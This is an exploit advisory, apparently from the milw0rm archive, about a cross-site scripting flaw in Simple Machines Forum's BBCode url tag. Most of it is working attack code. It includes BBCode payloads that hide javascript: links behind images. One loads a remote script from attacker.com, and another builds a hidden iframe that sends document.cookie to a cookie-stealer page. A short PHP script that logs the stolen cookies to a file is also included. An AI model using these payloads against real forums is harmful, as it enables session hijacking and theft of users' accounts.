Simple Machines Forums (BBCode) Cookie Stealing Vulnerability

                                                Author: Xianur0

BBCode of the smf not filtered properly specified urls:

[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro
:D...[/url][/size]
[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]

Click on the image, run the javascript..

BBC Cookie Exploit:

[center][size=14pt][url=][/url][/size]
[url=javascript:
document.write(unescape('%3Ciframe+width%3D%220%25%22+height%3D%220%25%22+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fcookiestealer.php%3Fcookie%3D%27+%2Bdocument.cookie+%2B%27+frameborder%3D%220%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]

PHP Cookie Stealer:

<?php
$cookie = $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>

# milw0rm.com [2009-02-03]